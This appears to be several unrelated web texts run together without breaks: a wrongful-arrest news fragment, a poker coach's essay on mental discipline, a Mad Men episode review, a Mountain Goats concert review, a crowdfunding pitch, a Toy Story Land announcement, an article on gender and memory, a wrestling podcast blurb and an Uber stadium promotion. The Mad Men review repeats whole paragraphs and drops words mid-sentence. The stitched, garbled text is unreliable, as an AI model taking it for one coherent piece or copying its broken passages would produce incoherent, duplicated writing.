"It's definitely concerning," he said. "Any time we make an arrest, we are concerned about that person being incarcerated, perhaps wrongly."
Arresting the wrong person is never okay, Bell says, but it is sometimes a reality of policing. When a wrongful arrest creates a paper trail that follows someone years later, Bell called it "unfortunate."
Officials with DPD can’t explain why the arrest keeps showing up on the woman’s background checks, and said she may have to go to court and file a motion to have her mug shot, prints and arrest records destroyed.
She said she’ll try anything to clear her name and finally move on.
"When they tell you it’s over and it’s done with, you assume that it’s gone," she said. "But it’s really not, it’s still lurking in the background, attached to my name and my career and anything else I try to do in my life."
The officer whose weapon and vehicle were stolen retired from DPD shortly after the incident, skirting any possible discipline.
People keep asking me at different forums and in the conversations: 'Lyao, you are a coach, you write video courses, VODs and do all this stuff. Don’t you think you strengthen the competition? And those players you teach will decrease you winrate in the future. What is the point in making new regulars?'
This is true. It is now the time in poker when the information is becoming more and more available. There are plenty of web sites with learning videos now. Then there are poker articles, books, poker schools and immense numbers of players who study their students. This made online poker environment very tough. The number of weak players is very low (at middle stakes and higher). If earlier (two-three years ago) the player who understood the game just a little bit could have crushed NL100 with the eyes shut, now it not an easy task to say the least. That’s why many regulars of stakes NL50-NL200 get stuck at those stakes winning a little bit or playing without profit and living on rakeback.
As we already understand, many of them see the reasons behind their failures in the activity of coaches, schools and other learning platforms. RNG is among these reasons as well. And they are right! If you don’t win, you have to blame someone else. Not yourself. Someone else.
You know, I have no worries about it. I know I am going to win at the currents stakes I’m playing for a long time. Even if every other successful player will become the coach and there will be a hundred new Cardrunners web sites in the Internet. As there are more than just technical skills in poker that influence your win rate. Those other skills are not that obvious, nevertheless they are the ones that make a player successful.
1. Focusing on the game
When I'm taking a seat at online poker tables, everything else ceases to exist for me. As people say, full work immersion. The fact that I don’t use additional software contributes here as I have to closely watch at the action of the opponents and notice the peculiarities of their play. Full focus allows me to control everything at the tables and make the right decisions in all the moments of the game.
I know many poker players who could have earned much bigger money in poker, had they had a better focus on the game. It is OK for them to start playing at six tables launching social networks, Skype, couple of Internet forums and some TV show like House M.D. on the laptop. This is quite obvious for me they lose a lot of EV this way. Well, it is good things for me that some people don’t realize this fact is so obvious.
One more important moment is that beside focusing on the game the player should also focus on his mood and state of health. He must pay close attention to his emotional state. If that doesn’t happen, it is easy to start tilting. And you probably know the consequences of tilt while playing poker.
Want to earn more money in poker? Learn to focus at the game!
2. Emotions control
Many people wrote about tilt resistance. Many people will write about it in the future. We are all humans with our emotions. Someone is more emotional than the others. The ability to control the emotions at the table is the key skill to succeed in poker. How could you not lose couple of buy-ins out of frustration after seeing some douche bag out of position calling your 4-bet with 72o and running over your aces with the river deuce trips? Familiar with the situation?
Successful poker player is the one who makes most of the possible correct (+EV) decisions while playing poker. Emotions is the factor (let’s say Fucktor) which directly effects on the correctness of the actions you make. If you control your emotions you win. If the emotions control you - you lose. Common truth. I am sure most of you know this without my scribbling. How to make yourself to fully control your state? I believe this is a more difficult question than a question about what to do with TPTK after seeing check-raise on the river from the unknown opponent.
There is no place for emotions in poker. Badbeats and coolers can’t shatter my emotional state. I have to admit different things happened. But in general I am confident in myself. I don’t care too much about the result of a single session. I care about making correct decisions knowing I will have profit in the long run. The fact someone run over me is irrelevant to me. This is pro poker, baby.
Not only negative emotions are our foe at the table. Joy, euphoria of winning the big pot also have a negative impact on our game. For instance, you had quads and the opponent paid it off. For double stack. Make it triple stack. The flow of endless happiness and universal joy falls on your head. Smile never leaves your face, you heart is ready to leave your chest as it is full of joy. And then this happens - instead of following your other hands at other tables you keep thinking of the previous hand. Well, you played it cool. Applause! Ovations! Now you’re on autopilot until you calm down. This could go on for ten minutes or might never stop till the session is over. It goes without saying your further play won’t be very effective as you will be too emotional as your thoughts will be elsewhere.
I hear unhappy statements that we are not robots. It’s OK for humans to be emotional. And poker is a game. Poker is gambling. It’s only natural that people feel the emotion as they play for the money. Money they earn.
Congrats! Until you treat poker as a game - gambling game for your own money - emotion will control you. As they do control you, you earn less than you could or someone is earning your money.
Want to earn more money in poker? Learn to control your emotions!
3. Ability to set clear goals
Why do you play poker? Global question. Every person has his own answer to it. Someone is unwilling to work for another man. The others think it is profitable to play poker in comparison with previous management activity. Someone likes to have a free schedule. The others want to become famous, get some glory and prestige.
Most players have a common goal they play poker. Everyone wants to make money. I am sure, you want that as well. How much do you want to make? How much do you need to be happy? How much do you earn now? I am sure each person has his own answers to the question. That is the goal. That’s what we want.
But here is the paradox. We work with money, the measure of our success is money, our goals are closely connected with money and it’s all wrong! You can’t make 'money goals' in poker. I’ll explain why. Variance is a very sneaky lady without shame or memory, she doesn’t care about how much money do you want to win this month. It doesn’t care whether you’ll be able to buy a new computer, visit Paris with your girlfriend or buy a E-class auto.
And the player thinks about his goals every first day of a new month: to earn thirty five thousand American dollars this month. Let’s suppose he players perfectly, makes no mistakes and so on. In the end of the month, he will know what variance thinks of his plans and goals. It is quite possible the result will be much worse than expected with the game of high quality in general. That makes the goal unfulfilled though the game was excellent. This will result in mental anguish and worries, whinnying on the forums, cries of life being unfair to you and, consequently, you game level will sufficiently drop next month. When a man fails to reach the goal he suffers badly.
You can’t make forecasts of short run in poker expressed in money equivalent. It would be a much more right thing to do to make goals which aren’t directly connected with money. This month I’ll play 100 hours or 50 thousand hands. Or I will watch 8 new videos and have 3 hours of coaching. That is the right goal. It was well articulated and the result of reaching or nor reaching it depend just on you, no one else. Then you may have a look at Win column to know how much have you won. Sometimes the result will be negative. That happens.
Want to earn more money in poker? Learn to make correct and clear goals for yourself!
4. Effective time management
People often ask me how am I able to do everything in the right time - to record videos, coach players write articles, play poker, travel different cities and countries. It’s very simple - I am good at managing my time and using it rationally.
I know many players who find this approach... let’s say... boring. They prefer to follow the flow. Without taking efforts. If they want to play, they play, if they want to chat, they visit forums or switch on the Skype. They are free to go to night clubs, get drunk, have a nice sleep and lose couple of buy-ns afterwards, troll at comments of some famous poker players and so on. Their events throughout the day are chaotic like Brownian movement and they live a funny interesting life. In result, they don’t reach half of their monthly goals. They play 20 thousand hands instead of playing 50 thousand or a hundred hours instead of 50. It’s OK, no worries, I have plenty of time. I will have next month.
Money is the most precious resource you have. So effective management of your own time is the key to success in any work, in any business. Poker is not an exception to this.
Get a diary/work book/computer file. Have a precise plan for a month. A week. A day. Designate the time limits. How much will you spend on the game/study/watching videos/reading forums. How much time do you need for rest. At what time will you go to sleep or wake up. Try to work at least month following the schedule. I assure you. You will fell how much more quality and structure will be in your work, game and life.
Want to earn more money in poker? Learn to manage your time!
5. Adequate self-esteem and constant self-development
Human is a very strange beast. He judges other only by their actions and results and wished to be evaluated on his abilities. He judges himself on the abilities.
Self-deception is a very insidious thing. Especially in poker. There is a type of player (and there are many of those players) who think they know poker on a much deeper level in comparison with the opponents at the table, other players at forums, coaches and everybody else. The fact that he is losing money for three months in a row is variance’s, RNG and bad luck’s fault. Or maybe this happened due to the growing number of poker schools or some other reasons.
I am 100 certain I am not beating NL 1k as local regulars are able to hurt me pretty bad. I don’t want to get hurt so I stay out of these stakes though my bankrolls allow me to play $25/50. I adequately judge my level and now I am OK with what I make at NL 1k - NL 2k. When I feel I’m ready to cross this psychological barrier and have enough skill, I will make another step on the poker ladder.
But there are plenty of players who get a little profit on their working stakes and hurry for the other level. Then they try to get higher, get beaten by the regulars and start to tilt and get back to their own stakes or lower. Those stories are not rare. This happens due to those players inadequately assessing themselves. Their thought of situation are often far from the real state of affairs.
Had he spend wasted money on his poker education, couple of lessons from the coach, purchasing subscription on some resource or buying a new book or all the above mentioned things coupled with another month at his working stakes - quite possible the transition would have been more successful.
He does not need that. He knows all and does all. He is just “unlucky” And you know what? He is right! Yes! That is his own path and he decides how to walk through it.
However, when those players ask me whether all this coaching activity make my life difficult as I create the competition, I just smile in response. There always be players like them. And that means I will have profit for quite some time.
Mad Men continues with episode 8, “Lady Lazarus,” and as always, I’m here with my weekly review and analysis. To do the hour justice, this review contains heavy spoilers, so don’t read unless you’ve seen the episode. The long-awaited fifth season ofcontinues with episode 8,and as always, I’m here with my weekly review and analysis. To do the hour justice, this review contains heavy, so don’t read unless you’ve seen the episode.
Spoilers for “Lady Lazarus” after the jump…
“It’s so easy when it’s someone else’s life, isn’t it?”
Mad Men gets; the song – John Lennon’s experimental ode to LSD – advocates looking inside oneself to take stock of one’s own existence, to discover true ‘knowing’ by listening to the ‘meaning of within.’ As the song plays, we see all the characters in need of such self-examination: Don, Pete, and to a far lesser extent, Peggy, while Megan – who followed Lennon’s advice, albeit without the help of LSD – lies in a peaceful, meditative trance in her acting class. The meaning is obvious. Matthew Weiner, just like Lennon, is advocating how crucial it is to practice and act on self-examination when searching for happiness, and he’s given us character examples that speak to the truth of this lesson. Those who can, first and foremost, be honest about themselves – like Megan and Roger (who literally took LSD to find himself) – discover enlightenment, while those who continue to deflect their own pain – like Don and Pete – are headed for heartbreak. If you want to know everything “Lady Lazarus” was about, just study that final musical montage. Don listening to the Beatles’ “Tomorrow Never Knows” is about as on-the-nose, thematically articulate asgets; the song – John Lennon’s experimental ode to LSD – advocates looking inside oneself to take stock of one’s own existence, to discover true ‘knowing’ by listening to the ‘meaning of within.’ As the song plays, we see all the characters in need of such self-examination: Don, Pete, and to a far lesser extent, Peggy, while Megan – who followed Lennon’s advice, albeit without the help of LSD – lies in a peaceful, meditative trance in her acting class. The meaning is obvious. Matthew Weiner, just like Lennon, is advocating how crucial it is to practice and act on self-examination when searching for happiness, and he’s given us character examples that speak to the truth of this lesson. Those who can, first and foremost, be honest about themselves – like Megan and Roger (who literally took LSD to find himself) – discover enlightenment, while those who continue to deflect their own pain – like Don and Pete – are headed for heartbreak.
After Roger, Megan becomes the second character this season to take a harsh, honest look at what makes her unhappy, and though it’s difficult, she feels so much better for the experience. “Lady Lazarus” focused on many of the insecurities the characters feel, and Megan’s has been clear from the premiere: she knows she’s good at advertising, but being married to the boss makes it impossible for her to ever feel pride, or even control, in her accomplishments. As she explains to Peggy, her job would be equally secure with or without last week’s brilliant Heinz pitch, and even at her best, she can’t be fully dedicated to work with romantic commitments so close by (dramatized in her outburst at Howard Johnson’s in “Far Away Places” ). Megan wants to feel fulfilled, and try as she might to ignore it, there’s no way she can do that in a job that will never demand anything from her.
could be this perfect together, on the surface and inside, if they just communicated the secrets they internalize. Acting, then, isn’t just a passion, but a challenge she can feel proud of attempting whether or not she succeeds. Indeed, it’s her failure in the off-Broadway tradition that reinforces how much more comfortable she feels in that world, and though she initially keeps this secret from Don, performing the Cool Whip routine with her husband provides a breakthrough moment. As Mr. and Mrs. Draper casually banter their way through this lovely pitch (which was a real 1966 ad campaign), they seem so fun together, so cute, so finely-tuned and functional, but for the audience – and Peggy, who’s been playing confidante to both of them – it’s clear that this is only a mask to hide deep-seated dysfunction. Megan won’t tell Don how unhappy she is at SCDP, and Don won’t tell Megan how terrible he feels (and how drunk he gets) when she isn’t around. It’s immensely frustrating for us (and Peggy) to watch, because we know how easily theybe this perfect together, on the surface and inside, if they just communicated the secrets they internalize.
But Megan isn’t as oblivious as Peggy and we initially assume, for she does notice the hypocrisy in their ‘perfect couple’ routine. With this final piece of insight, Megan does the difficult but proper thing and comes clean to Don (and, in a sense, herself) about what she’s really been up to and why. If Jessica Parè gets an Emmy nomination – and I seriously hope she does – “Lady Lazarus” is her obvious submission episode, if only for that brilliant nighttime confession scene. Parè is simply fantastic in that moment, trying so hard to be honest about something she herself is still trying to wrap her heart and mind around. It’s a raw, piercing piece of acting, and Parè makes it clear that despite the difficulty of relating such personal introspection to another human being, the process is also incredibly therapeutic.
Don reacts as well as Megan could have possible hoped; he’s initially confused, as he probably should be, but once he understands, he agrees to help Megan however he can. Nevertheless, accepting this makes Don feel uncomfortable, and though he can’t quite put his finger on it, the reason is clear to the audience. As made clear by Don’s dark nighttime panic in “Far Away Places,” and underlined in his lonely, drunken stupor of tonight’s first act, Don is a dysfunctional mess without his new wife. When Megan’s close by, Don is a content, laid-back figure, but he simply doesn’t know what to do with himself when she’s out of reach. It’s an unhealthy obsession, one that manifests itself in shocking, violent tendencies when the balance is thrown off (think of the couple’s rough floor sex in the premiere or Don chasing Megan through the apartment in “Far Away Places”). This is Don’s greatest insecurity, and just as Megan dealt with her personal anxiety by coming clean to her husband and asking for help, Don needs to take stock of this flaw in his existence and tell Megan how he feels right away.
The consequences of failing to do so are already beginning to manifest. Don grows increasingly restless during Megan’s last day at the office, admitting how uncomfortable it feels to Joan and Roger and unfairly chewing out Peggy at the Cool Whip pitch. As Megan departs in the elevator, Don possibly plucks up the courage to come clean about how insecure he feels without her, but when he calls an elevator of his own, he’s greeted with an empty shaft. As with the Beatles montage, the symbolism is hard to miss. Megan’s already out of his reach – in Don’s mind, at least – a point hammered home when he returns to the apartment to find Megan cooking dinner. The image veers too close to Betty for comfort; all Don can see is another struggling actress reduced to a housewife. As Joan notes to Peggy, “that’s the kind of girl Don marries,” and in a sense, she’s right. The old Don needed that simple, uncomplicated comfort in his life, but new Don has long since realized how unhealthy that sort of relationship is for him. He needs a partner, not a servant, and at their best, Don and Megan are true partners. Don is positively terrified that Megan’s new path will end, or irrevocably alter, the nature of their partnership, and that he will wind up regressing towards the disloyal, confused man he once was.
Don and Megan could probably find a way to fulfill their individual dreams while still working as a healthy, romantic unit, but it would require Don coming clean to himself and his wife about his deep-seated insecurities. Given that he flips off the Beatles record, though, it seems Don’s not quite ready to face the challenge of introspection.
He’s a hell of a lot closer than Pete, of course, whose dark downward spiral continues in another standout hour for the character. It’s a lot harder to nail down exactly what Pete’s insecurities are, but he has an awful lot of them, and he hasn’t even come close to recognizing that it’s something inside himself, not an external force, that’s making him unhappy. Tonight’s episode once again focuses on Pete’s crisis of masculinity, and the results are more overtly disturbing than ever before. Thanks to “Signal 30,” we know how emasculated Pete feels by suburban life and professional circumstance, and in “Lady Lazarus,” he attempts to reestablish his manhood. It starts with Roger who, thanks to overcoming his own demons in “Far Away Places,” has abandoned his petty competition with Pete and decides to give the kid a new account.
As with any perceived affirmation, this makes Pete feel powerful, and when he meets Alexis Bledel (whose character had a real name, but whose distinctively beautiful blue eyes shout ‘Alexis Bledel’ too loudly for me to remember anything else) on the drive home from work, he sees an opportunity to feel ‘manly.’ Pete’s conception of masculinity is, of course, childish and sexist: with women, he only feels like a man if his partner is fragile and helpless. He needs to have some kind of power over her, and with Bledel, he has power on just about every front. He gets to give her a ride home, he holds the answers to what her husband’s been up to, and he can give her the new sexual experience she (to his mind) craves. His brief affair with Bledel blows into a full-blown obsession, not because of anything he sees in her, but for the power he feels in her presence.
That’s about all this story amounts to for Pete; it’s yet another example of how far he’s fallen, and a warning of how much further he has to go if he can’t get his personal issues under control. What makes the story worthwhile and revelatory, to my mind, is how it explores the effect such limited and self-serving notions of masculinity have on women. Bledel’s character is clearly a tortured spirit, someone so constrained by suburban life and an insensitive, disloyal husband that she’s practically dead on the inside. Bledel is tremendous in the part, her character simply heartbreaking to watch at every turn, and we know that she’s grown this way not of her own volition, but because of men like Pete, men who fill their need to feel powerful by using and abusing women. Her husband is exactly the same way, Don once acted the same way (and left Betty Draper a similarly hollow shell), and the saddest part is that Pete’s actions will ultimately harm his lovely, perfect wife Trudy to a similar degree. Trudy isn’t even mentioned by name in this episode, yet her presence is felt in every moment Pete spends with Bledel. It’s a vicious cycle, born of a selfish, misguided notion of gender roles, and if Pete could get over just this one massive insecurity, he would be an infinitely better person for it.
But again, Pete’s capacity for introspection is too finite for that to happen. After Bledel rejects his advances, Pete asks “Why do they get to decide what’s going to happen?” It’s the most unsettling line of the episode. By placing the blame for his unhappiness not only on Bledel, but on women as a whole group, Pete’s actions are painted as grossly misogynistic. Matthew Weiner tends to refrain from making direct judgments of sixties social norms, but in this case, he isn’t playing around: Pete’s story is a clear commentary on how destructively men of the time could use gender identity for personal fulfillment, and the powerful part is how universal the plot ultimately winds up feeling. This concept of masculinity did not perish along with the sixties, and in some ways, Weiner’s holding a mirror up to our society as much as he is to a former generation.
Mad Men all season, but her sincere moments with Megan, Don, and Joan proved just as emotionally stirring. Moss really can do just about anything the writers ask of her at this point, and as the show grows more and more ensemble centric, I find that Peggy is often the glue that holds the series together. She’s the sane, funny, relatable center of a vast, ambitious character epic, and even if “Lady Lazarus” won’t go down as one of the all-time great Peggy episodes, it did a nice job reinforcing how invaluable she is to the show’s creative success. On a lighter note, Peggy continues to prove herself the show’s most kick-ass, quote-worthy, compulsively watchable character, even in an episode where her role is more reactionary than introspective. Peggy’s certainly dealing with issues of her own this season, but those were largely on hold this week. Instead, her primary focus was to comment on – and be frustrated by – Don and Megan’s actions, giving Elizabeth Moss many wonderful notes to play. Peggy yelling “Pizza House!” into the phone to prevent an awkward conversation with Don may be the hardest I’ve laughed atall season, but her sincere moments with Megan, Don, and Joan proved just as emotionally stirring. Moss really can do just about anything the writers ask of her at this point, and as the show grows more and more ensemble centric, I find that Peggy is often the glue that holds the series together. She’s the sane, funny, relatable center of a vast, ambitious character epic, and even if “Lady Lazarus” won’t go down as one of the all-time great Peggy episodes, it did a nice job reinforcing how invaluable she is to the show’s creative success.
Mad Men has been on a pretty incredible hot streak this season, and though I don’t think “Lady Lazarus” quite lived up to the last four or five incredible hours, it was a pretty tremendous episode in its own right, and furthered the season’s character and thematic arcs in completely satisfying and fascinating ways. I’m already prepared to call this my favorite season of the show to date – which makes it one of my favorite television runs of all time – and the biggest praise I can give to tonight’s hour is that it shifted into a lower, more relaxed gear without sacrificing the amazing quality we’ve been treated to over the past few weeks. Next Sunday can’t come fast enough. has been on a pretty incredible hot streak this season, and though I don’t think “Lady Lazarus”lived up to the last four or five incredible hours, it was a pretty tremendous episode in its own right, and furthered the season’s character and thematic arcs in completely satisfying and fascinating ways. I’m already prepared to call this my favorite season of the show to date – which makes it one of my favorite television runs of all time – and the biggest praise I can give to tonight’s hour is that it shifted into a lower, more relaxed gear without sacrificing the amazing quality we’ve been treated to over the past few weeks. Next Sunday can’t come fast enough.
Come back next Sunday night for my review of
Episode 9, “Dark Shadows”
“Mad Men” reviews will go up every Sunday night an hour or two after the episode airs,
Right here on www.jonathanlack.com
Darnielle needn’t have worried. The current tour of the Mountain Goats is a two-man affair—the first duo incarnation of the band since 2007, as Darnielle pointed out—and from the moment he and bassist Peter Hughes stepped onstage, both they and the crowd were in it for keeps.
The whole night was a family affair, of sorts. Denton, Texas-based act the Baptist Generals, who released the dark, trippy, excellent No Silver/No Gold in 2003 and then seemed to fall off the map, came roaring out by playing new release Jackleg Devotional To The Heart in sequence, setting out a low-end thunder that rumbled and rattled through the 9:30’s ground floor and two upper decks. After a live soundcheck, the Generals roared into “Dog That Bit You” from Jackleg, and most of the crowd conversation stopped abruptly as singer/songwriter Chris Flemmons led the audience through the new record’s dense tangle of songs about bad love and worse love, while Darnielle and Co. watched happily from the upper-stage left balcony (“You guys look like those old Muppets,” quipped Generals bassist Ryan Williams to loud laughter). Still, by the time Darnielle joined the Generals to play keyboard on “Turnunders And Overpasses,” the repeated coda “What do you want?/What do you want/For your heart?” hinted at the raw, beating pulse beneath the anguish of the thudding arrangements. The mutual respect and affection between the Generals and the Mountain Goats was apparent throughout the set; even fans who’d never heard the Generals seemed to come away impressed.
And then Darnielle and Hughes took the stage. It’s hard to know how to figure Darnielle sometimes. He’s a singer/songwriter whose prolific output and frequently high-verbal lyrics could easily come off in less adroit hands as precious navel-gazing. And yet somehow, this gangly guy who learned American Sign Language in junior high because he thought it might help him meet girls (as he mentioned at this show) is damn near the most affable, most charming frontman in current rock music. Even at the 9:30 Club, which is small but by no means all that intimate, Darnielle and Hughes gave off a vibe like they were playing in the back yard of someone’s house, all high energy, broken picks and even one charmingly flubbed ending. (“That was my fault,” said Darnielle sheepishly. “I forgot how we’d decided to finish it.”)
So the high-energy happiness with which the Mountain Goats invariably perform, like they’re just goddamn glad to be there, is one part of the charm. Most significantly, though, Darnielle’s songwriting—which was, after all, the focus of the evening—is as openly confessional as a Sylvia Plath poem without ever trying to solicit an iota of sympathy from the crowd. That’s the nut of it, I think. When he tries his hand at genuine grownup gravitas, as evidence that night in a tune like “It Froze Me,” he’s a fine enough songwriter. But where he really shines is in those moments where he fully engages the id of the beaten kid in all of us, and the strongest, most riveting performances of the night were those full-throated here-I-am barnstormers: “Ox Baker Triumphant,” “Dance Music” and opener “Pure Gold” aimed for the back wall and trailed fire as they passed overhead. The set list reached back into the crates, but also featured especially riveting performances of “The Diaz Brothers” and “Cry For Judas” from last year’s Transcendental Youth. For the hardcore fans, too, there were treasures, the most electrifying of which was a performance of the legendary, still maddeningly unreleased “Alpha Chum Gatherer,” which appears only on an exceedingly rare bootleg of an early board mix of songs recorded for the album Tallahassee.
When all his cylinders are firing, Darnielle writes like a five-year-old kid would, if that wide-eyed little guy experiencing everything for the first time had a 40-year-old poet’s long-range perspective and razor-keen turn of phrase. I can think of individual songs by certain artists that approach that target, but I cannot think of another songwriter whose body of work pins it as reliably or as extensively as Darnielle, which is likely the reason that people who get bitten by his songs get bitten hard. That connection was apparent in what was likely the evening’s most stunning moment, the air-raid rendition of “No Children,” which the entire crowd seemed to sing (and occasionally scream) in unison with Darnielle in an act of group catharsis, and after which most acts would probably have been content to walk off the stage claiming victory. It was there in the enthusiastically received encore “The Best-Ever Death Metal Band In Denton,” a treat from the upcoming remastered release of All Hail West Texas, as the audience gleefully yelled “Hail Satan!” at all the right moments. It was apparent in Darnielle’s several playfully filigreed pre-song introductions, touching on his well-documented childhood abuse, 1970s-era pro wrestling’s parallels with indie-rock “neighborhood scenes,” and a long, hilarious routine about the worst-attended gig the Mountain Goats ever played (head count: literally zero) at which they encored (!) with absurdist stomper “Furniture Store.”
And since the rhythm section rarely gets its due, let’s give it here. Darnielle often mentioned the absence of drummer Jon Wurster as a minor terror for the duo to overcome. But though he spoke little throughout the night, Hughes anchored the entire set with precise, indeed impeccable timing. Case in point: When the duo set up for “Tallahassee,” Hughes’ loop-pedal bass line got hung up on maybe an eighth-of-a-second delay on each repeat—just enough to notice—and Hughes course-corrected for it , as he had to under Darnielle’s more fluid keys and vocals, every single time. That’s what you call a consummate pro, friends.
In each of their sets, both Darnielle and the Baptists’ Flemmons recounted a somber gig they’d once played together, many years ago, for all of 24 people, most of whom were in the bar to watch football. After the sound faded and the lights came up, Darnielle stuck around like a mensch by the merch table, to sign and shake hands with hundreds of the fans, many of whom embraced him with unembarrassed affection. For a self-described weirdo to have reached this level of artistic skill and popularity ought to give hope to every current weirdo kid in America. And that night, with Darnielle a sweat-soaked mess and the thank-yous passing every three seconds between him and the milling, grinning crowd, it looked like it had.
This show is a one-of-a-kind mix of music, interviews, comedy, arts, and more. It's the kind of show you take your friends from out of town to so they can see how cool Atlanta really is.
Imagine hearing some incredible live MUSIC, seeing hilarious COMEDY, hearing great FOOD talk, experiencing amazing ARTISTS, and more. We're bringing the Southern community together to shine.
The performance will take place in a theater in front of a live audience. Our ultimate goal is to have a radio broadcast partner.
I'm raising $15,000 in 20 days to rent the theater, pay for equipment, hire technicians, market the event, and insure everyone has an amazing experience. Theaters ain't cheap, especially when you're looking to seat between 400-800 people. And I definitely want this to be a quality show that entertains folks and makes our talented performers want to come back again and again
In Toy Story Land, you’ll find yourself shrunk to the size of a toy to explore the world of Andy’s backyard with your favorite Toy Story characters, including Woody and Buzz. There are two new themed attractions being developed for Toy Story Land.
The first – Slinky Dog Dash – will be a family coaster attraction you’ll want to ride again and again. The attraction features a coaster track that Andy has built all over his backyard using his Mega Coaster Play Kit, but as you know, he has a pretty amazing imagination, so he’s combined it with some of his other toys, according to Imagineer Kathy Mangum. Take a look at a concept video of Slinky Dog Dash that Kathy shared earlier.
On Slinky Dog Dash, you will zip, dodge and dash around many turns and drops that Andy has created to really make Slinky and his coils stretch to his limits.
The second all-new attraction in Toy Story Land will be Alien Swirling Saucers. This attraction is designed as a toy play set that Andy got from Pizza Planet, inspired by the first Toy Story film. Aliens are flying around in their toy flying saucers and trying to capture your rocket toy vehicle with “The Claw.”
As you rotate around the toy planets and satellites as part of the game, you’ll swirl to the beat of fun “Space Jazz” music developed just for this experience, Mangum said. The music, the lighting, and the sound effects will add to the flurry of your adventure while “The Claw” looms ominously over you.
Also today, Mangum shared an update that beginning Memorial Day weekend, even more guests will be able to experience Toy Story Mania with the addition of a third track.
Photo by Chris Hondros/Getty Images
This article originally appeared in Science of Us.
Recently, I was visiting my family in Seattle, and we were doing that thing families do: retelling old stories. As we talked, a common theme emerged. My brother hardly remembered anything from our childhood, even the stories in which he was the star player. (That time he fell down the basement steps and needed stitches in the ER? Nope. That panicky afternoon when we all thought he’d disappeared, only to discover he’d been hiding in his room, and then fell asleep? Nothing.) “Boys never remember anything,” my mom huffed.
She’s right. Researchers are finding some preliminary evidence that women are indeed better at recalling memories, especially autobiographical ones. Girls and women tend to recall these memories faster and with more specific details, and some studies have demonstrated that these memories tend to be more accurate, too, when compared to those of boys and men. And there’s an explanation for this: It could come down to the way parents talk to their daughters, as compared to their sons, when the children are developing memory skills.
To understand this apparent gender divide in recalling memories, it helps to start with early childhood—specifically, ages 2 to 6. Whether you knew it or not, during these years, you learned how to form memories, and researchers believe this happens mostly through conversations with others, primarily our parents. These conversations teach us how to tell our own stories, essentially; when a mother asks her child for more details about something that happened that day in school, for example, she is implicitly communicating that these extra details are essential parts to the story.
And these early experiments in storytelling assist in memory-making, research shows. One recent study tracked preschool-age kids whose mothers often asked them to elaborate when telling stories; later in their lives, these kids were able to recall earlier memories than their peers whose mothers hadn’t asked for those extra details.
But the way parents tend to talk to their sons is different from the way they talk to their daughters. Mothers tend to introduce more snippets of new information in conversations with their young daughters than they do with their young sons, research has shown. And moms tend to ask more questions about girls’ emotions; with boys, on the other hand, they spend more time talking about what they should do with those feelings.
This is at least partially a product of parents acting on gender expectations they may not even realize they have, and the results are potentially long-lasting, explained Azriel Grysman, a psychologist at Hamilton College who studies gender differences and memory. “The message that girls are getting is that talking about your feelings is part of describing an event,” Grysman said. “And for boys, emotions are something to be concerned with when they are part of a larger issue, but otherwise not. And it’s quite possible, over time, that those tendencies will help women establish more connections in their brains of different pieces of an event, which will lead to better memory long-term.”
Because a memory doesn’t exist the way we tend to imagine it; it’s not a singular, fully formed thing buried in some small corner of the mind. Instead, it’s “a pattern of mental activity, and the more entry points we have to what that pattern might be, the more chances we have to retrieve it,” Grysman said. Researchers call those entry points “retrieval cues,” and they can be as seemingly mundane as what you were feeling, what you were eating, or what you were wearing.
The more entry points you’ve got about an event, the more likely you are to remember it. It’s how Grysman advises his students to study for tests. “I tell them to try to make links between the material they’re studying and other parts of their lives, and those other parts of their lives serve as entry points,” he said.
So Grysman’s theory, which he explored in an extensive review of the literature published last year, is that those early conversations with your parents implicitly told you which details are important to remember about the things that happen to you, and which are not. And because parents’ conversations with girls include references to both more information and more emotion, they’re setting their daughters up to have stronger memories over their lives. (Though it’s worth pointing out: Grysman acknowledges in his 2013 paper that gender identity is of course much more complicated than biological sex, and not every individual’s experience is going to mirror that of the children in the research on which he’s based his theory.)
At this point in our conversation, I couldn’t help asking Grysman how his own memory is. “I thought I had a great memory until I got married,” he said. “Now, I’m realizing more and more how much I don’t remember, compared to somebody else. Dates, facts, figures—I’m great at those things. But those are things where we don’t find gender differences. I can quote you the Stanley Cup winners back from 1914, but I can’t remember conversations.”
And that’s actually how he became interested in studying gender difference in autobiographical memory recall in the first place. Several years ago, his wife referenced some recent, important conversation they’d apparently had with a friend. He had no memory of it. “That’s really what spurred this,” he said. So I asked him if he remembered now what that conversation was about.
For the last two years, the Royal Rumble has been a controversial affair. The previous winners have led to many accusations that the WWE doesn’t understand its audience anymore. Was this year any different? Well… kinda.
We’re breaking down everything we cared about from the Rumble… including what was probably the biggest troll job the company has ever done: Roman Reigns at Number 30.
Plus, a Big Four Pay Per View on Sunday means that we also get a new NXT TakeOver on Saturday. And while there was noticeably less stay power on this week’s show than usual, most people on the card raised their stock on the developmental brand.
We’ll break down all the biggest happenings from both shows, including the debut of Samoa Joe… and the injury of Seth Rollins.
Hosted by Hal Lublin, Danielle Radford and Mike Eagle
As part of the new partnership, there will be a dedicated Uber pick up and drop off zone on Silver Drive outside of MAPFRE Stadium. The new Uber pick up & drop off zone can be utilized by supporters attending all Crew SC matches at MAPFRE Stadium. After Crew SC matches, Uber requests will be directed to the new dedicated Uber Pickup Zone. This will allow for a safe and more efficient experience finding a ride at the conclusion of a match.
"We're proud to work with Columbus Crew SC and look forward to providing safe and reliable rides for all fans." said Uber General Manager James Ondrey. “Uber is now a great option for soccer lovers who are headed to and from MAPFRE Stadium on matchdays.”
Uber’s first Crew SC-specific On-Demand promotion will launch this Friday from 11 a.m. to 1 p.m. Uber mobile app users during that time period will have the opportunity to win tickets and an exclusive experience during Saturday’s match against the Portland Timbers at MAPFRE Stadium. Also during that time period, randomly selected winners will win a 2017 Crew SC Gold Primary Jersey after requesting a ride.
“Our partnership with Uber and the creation of a dedicated Uber Pickup Zone at MAPFRE Stadium will provide an enhanced matchday experience for supporters utilizing Uber service,” said Crew SC President of Business Operations Andy Loughnane. “In addition to providing an adjacent pickup zone that is more user-friendly for Uber drivers and riders attending Crew SC matches, Uber and Crew SC will jointly develop Crew SC-themed promotions and giveaways via the Uber mobile app throughout the season. The pairing of Uber and Crew SC supporters is a natural connection, and is especially relevant as we systematically attempt to implement methods aimed to strengthen the efficiency of our matchday experience.”
How it Works:
Supporters that request an Uber from MAPFRE Stadium may be directed via the Uber app to the new Uber Pickup Zone located on the corner of Silver Drive and Hiawatha Park Drive. For a quick and easy pickup:
Exit MAPFRE Stadium at Gate 3, walk north on Lamar Hunt Way, turn right on Silver Drive
Continue toward the dedicated Uber pick up zone on the corner of Silver Drive and Hiawatha Park Drive to find your ride.
The partnership will also include various promotions and giveaways via the mobile app throughout the season. Crew SC supporters new to Uber can receive up to $15 off their first ride with promo code CREWSC17.
